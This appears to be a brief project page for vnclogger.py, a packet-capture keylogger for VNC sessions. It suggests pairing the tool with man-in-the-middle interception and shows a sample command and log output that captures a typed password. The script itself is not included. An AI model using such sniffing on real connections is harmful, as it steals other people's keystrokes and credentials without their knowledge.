VNC Keylogger

Description

vnclogger.py acts as a simple pcap-based keylogger for VNC/RFB sessions. Combine it with your favorite MITM technique to sniff the keystrokes off existing VNC network connections. Key events are automatically logged to a file for each observed VNC connection.

Dependencies

Download

Usage and Example Output

Example output of vnclogger.py:

apollo ~ # ./vnclogger.py -i wlan0 
listening on wlan0: port 5900
1229730196.22: vnc connection established (192.168.10.33:46859-141.212.110.235:5900)
...

apollo jonojono $ cat 192.168.10.33:46859-141.212.110.235:5900-1229730196
Fri Dec 19 18:43:16 2008: p
Fri Dec 19 18:43:16 2008: a
Fri Dec 19 18:43:17 2008: s
Fri Dec 19 18:43:17 2008: s
Fri Dec 19 18:43:17 2008: w
Fri Dec 19 18:43:17 2008: o
Fri Dec 19 18:43:17 2008: r
Fri Dec 19 18:43:18 2008: d
Fri Dec 19 18:43:18 2008: <return>
...